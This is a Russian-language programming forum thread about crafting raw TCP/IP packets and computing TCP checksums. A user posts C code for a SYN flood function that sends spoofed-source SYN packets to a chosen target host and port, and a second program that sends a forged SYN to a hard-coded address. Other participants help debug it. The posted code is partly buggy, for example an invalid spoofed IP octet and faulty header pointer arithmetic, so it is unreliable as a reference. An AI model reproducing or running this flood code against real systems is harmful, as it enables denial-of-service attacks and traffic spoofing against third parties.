Поле контрольной суммы — это 16-битное дополнение суммы всех 16- битных слов заголовка и текста. Если сегмент содержит в заголовке и тексте нечетное количество октетов, подлежащих учету в контрольной сумме, последний октет будет дополнен нулями справа с тем, чтобы образовать для предоставления контрольной сумме 16-битное слово. Возникший при таком выравнивании октет не передается вместе с сегментом по сети. Перед вычислением контрольной суммы поле этой суммы заполняется нулями.
Контрольная сумма, помимо всего прочего, учитывает 96 бит псевдозаголовка, который для внутреннего употребления ставится перед TCP заголовком. Этот псевдозаголовок содержит адрес отправителя, адрес получателя, протокол и длину TCP сегмента. Такой подход обеспечивает защиту протокола TCP от ошибшихся в маршруте сегментов. Эту информацию обрабатывает Internet протокол. Она передается через интерфейс протокол TCP/локальная сеть в качестве аргументов или результатов запросов от протокола TCP к протоколу IP.
Длина TCP сегмента — это длина TCP заголовка и поля данных, измеренная в октетах. Это не является точным указанием количества передаваемых по сети октетов, она не учитывает 12 октетов псевдозаголовка, но тем не менее расчет этого параметра все же производится.
Функция для подсчёта, уже как-то приводилась мною, но поиск не работает :
unsigned short CalculateChecksum(unsigned short *usBuf, int iSize)
{
unsigned long usChksum=0;
while (iSize>1)
{
usChksum+=*usBuf++;
iSize-=sizeof(unsigned short);
}
if (iSize)
usChksum+=*(unsigned char*)usBuf;
usChksum=(usChksum >> 16) + (usChksum & 0xffff);
usChksum+=(usChksum >> 16);
return (unsigned short)(~usChksum);
}
1. Заполняешь структуру псевдозаголовка:
адрес назначения
адрес источника
ноль
протокол
длина пакета
2. добаваляешь к буферу в котором находится эта структура, буфер с твоим заголовком и данными (поле суммы = 0)
3. считаешь контрольную сумму выше приведённой функцией (это будет контрольная сумма TCP заголовка)
4. формируешь структуру IP заголовка
5. считаешь сумму заголовка IP (это по RFC, но я видел в программах, что считается сумма по всему пакету и вроде как работает..)
6. на сколько я помню, различные числовые данные, типа длинны пакета должны быть в сетевом представлении, т.е. на них перед записью в пакет надо натравливать htons
Вот в Инете уйма сорсов, в которых явно показывается как обрабатывать syn/ack
Я пробовал все перенести все под win (copiler: msvc++ 6.0) Но там структур типа tcphdr вроде нет.
Я все взял с <linux/ip.h> <linux/tcp.h>
Пробовал отсылать SYN , но в netstat и в tcpdump ничего не видно. Убил пару дней на это все.
Проверка контрольной суммы, как извесно для ip и для tcp она одна и та же
unsigned short in_cksum(unsigned short *ptr,int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */return(answer);
}
Сама функция флуда :
void flood(int sock,unsigned sadd,unsigned dadd,unsigned short dport,int amount)
{
struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;
struct pseudo_header{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
struct sockaddr_in sin; /* IP address information */register int i=0,j=0; /* Counters */int tsunami=0; /* flag */unsigned short sport= 7624;
sin.sin_family=AF_INET; /* Internet address family */
sin.sin_port=sport; /* Source port */
sin.sin_addr.s_addr=dadd; /* Dest. address */
/* Fill in all the TCP header information */
packet.tcp.source=sport; /* 16-bit Source port number */
packet.tcp.dest=htons(dport); /* 16-bit Destination port */
packet.tcp.seq=getrandom(10000,40000); /* 32-bit Sequence Number */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
/* Fill in all the IP header information */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getrandom(4000,9999); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=38; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=sadd; /* 32-bit Source Address */
packet.ip.daddr=dadd; /* 32-bit Destination Address */
/* Psuedo-headers needed for TCP hdr checksum (they
do not change and do not need to be in the loop) */
pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);
for(i=0;i<amount;i++)
{
packet.tcp.source++; /* Source port inc */
packet.tcp.seq++; /* Sequence Number inc */
packet.tcp.check=0; /* Checksum will need to change */
packet.ip.id++; /* ID number */
packet.ip.check=0; /* Checksum will need to change */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
memcpy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
int sent = sendto(sock,(char*)&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));
printf("Sent %i\n",sent);
::Sleep(500);
}
}
Вызов функции :
srchost = inet_addr(argv[1]);
dsthost = inet_addr(argv[2]);
port = atoi(argv[3]);
number = atoi(argv[4]);
printf("synflooding %s from %s port %u %u times\n", argv[2], argv[1], port, number);
int rawsock = socket (AF_INET, SOCK_RAW, RAW);
setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
flood(rawsock, srchost, dsthost, port, number);
Вот оно мне принтит что отправил 40 байт, но ни в netstat ни в tcpdump я этого не вижу
Здравствуйте, alexora, Вы писали:
A>Вот в Инете уйма сорсов, в которых явно показывается как обрабатывать syn/ack A>Я пробовал все перенести все под win (copiler: msvc++ 6.0) Но там структур типа tcphdr вроде нет. A>Я все взял с <linux/ip.h> <linux/tcp.h>
[skip] A>Вот оно мне принтит что отправил 40 байт, но ни в netstat ни в tcpdump я этого не вижу
буквально на прошлой или позапрошлой неделе была подобная тема, там и примеры были воспользуйся поиском..
Здравствуйте, alexora, Вы писали:
A>да я сам постил в те мессаги, но там ресь шла все под унихи. А вот я хочу все сделать под win. Если кто то знает где трабла то скажите.
точно
вот примерная последовательность действий:
1. Открываешь сокет:
SOCKET s = socket (AF_INET, SOCK_RAW, IPPROTO_IP);
2. Далее устанавливаешь IP_HDRINCL
int i = 1;
setsockopt (s, IP, IP_HDRINCL, (char*)&i, sizeof (int));
Народ, это вообще глюк, я с Linux перенес код под Free и все равно не катит.
sendto мне пишет, что отправлено 40 байт, но не в tcpdump, не в netstat ничего не видно.
Ниже укзаный код, просто напросто должен отправлять syn запрос :
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#define P 25
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */return(answer);
}
int main (void)
{
int s = socket (PF_INET, SOCK_RAW, 255);
char datagram[4096];
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
int sendbytes;
int on = 1;
int index;
sin.sin_family=AF_INET;
sin.sin_port = htons (80);
sin.sin_addr.s_addr = inet_addr ("212.23.65.112");
memset (datagram, 0, 4096);
iph->ip_hl=5;
iph->ip_v=4;
iph->ip_tos=0;
iph->ip_len=sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id=htonl (index + 2345);
iph->ip_off=0;
iph->ip_ttl=255;
iph->ip_p=6;
iph->ip_sum=0;
iph->ip_src.s_addr=inet_addr ("181.182.283.284");
iph->ip_dst.s_addr=sin.sin_addr.s_addr;
tcph->th_sport=htons (1234);
tcph->th_dport=htons (P);
tcph->th_seq = 23432 + index;
tcph->th_ack=index + 54321;
tcph->th_x2=0;
tcph->th_off=0;
tcph->th_flags=TH_SYN | TH_URG;
tcph->th_win=htonl (65535);
tcph->th_sum=0;
tcph->th_urp=0;
tcph->th_sum = csum ((unsigned short *) datagram, (sizeof (struct ip) + sizeof (struct tcphdr) + 1) & ~1);
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
fprintf(stderr, "error setsockopt\n");
exit(1);
}
sendbytes = sendto(s, datagram, 40 , 0 , (struct sockaddr *)&sin, sizeof(sin));
printf("Send %i bytes\n",sendbytes);
}
Здравствуйте, alexora, Вы писали:
A>Народ, это вообще глюк, я с Linux перенес код под Free и все равно не катит. A>sendto мне пишет, что отправлено 40 байт, но не в tcpdump, не в netstat ничего не видно.
A>Ниже укзаный код, просто напросто должен отправлять syn запрос : A>Может кто то знает в чем бага ?
попробовал я твою прогу под FreeBSD, tcpdump пишет, что не верная контрольная сумма
да, и кстати, нехорошо оставлять за собой своё ээ.., ну короче, сокеты закрывать надо
Здравствуйте, butcher, Вы писали:
B>попробовал я твою прогу под FreeBSD, tcpdump пишет, что не верная контрольная сумма B>да, и кстати, нехорошо оставлять за собой своё ээ.., ну короче, сокеты закрывать надо
Как это неправильная сумма ?
Ты для tcp отдельно считаешь и для ip отдельно ?
Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.
Здравствуйте, DOOM, Вы писали:
DOO>Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.
правильно, пакет и уходит, наверняка tcpdump не показывает этого, потому что слушает на другом интерфейсе.
Здравствуйте, DOOM, Вы писали:
DOO>Контрольная сумма проблему не решит. Пакеты с непраильной суммой тоже идут в сеть. И, если send не возвращал ошибку, значит пакет ушел на провод. То что его не видно в сниффере — это проблема настроек сниффера. Проверь, что он в promisc mode работает.
Прикол в том , что в вышеуказаном коде все правильно высчитывается, все структуры правильно забиваются. Я все это слепил с трех сорцов. Те сорцы были под Linux , а я делал под Free. Сами ведь знаете, что
"struct ip" отличается от "struct iphdr" так же как и "struct tcphdr" от "struct tcphdr" в Linux от Free.
Вот. Кто то писал под Free подобное ?
Да sendto возвращает 40 байт, если пакет левый то -1, но не в netstat, tcpdump не видно, я уже по IP искал и по egrep /.+SYN.+/i
Здравствуйте, alexora, Вы писали:
A>Вот. Кто то писал под Free подобное ? A>Да sendto возвращает 40 байт, если пакет левый то -1, но не в netstat, tcpdump не видно, я уже по IP искал и по egrep /.+SYN.+/i
ещё раз говорю, контрольная сумма вычисляется неправильно, вот вывод tcpdump:
tcpdump: listening on lnc0
13:28:44.436763 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 2215, len 40)
13:28:45.235608 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 18058, len 40)
13:28:45.785491 20.20.20.20.0 > 10.10.10.10.0: . [bad tcp cksum a9c3!] 0:20(20) win 0 (ttl 255, id 43775, len 40)
^C
129 packets received by filter
0 packets dropped by kernel
ты не считаешь псевдозаголовок в контрольной сумме TCP!
читай RFC..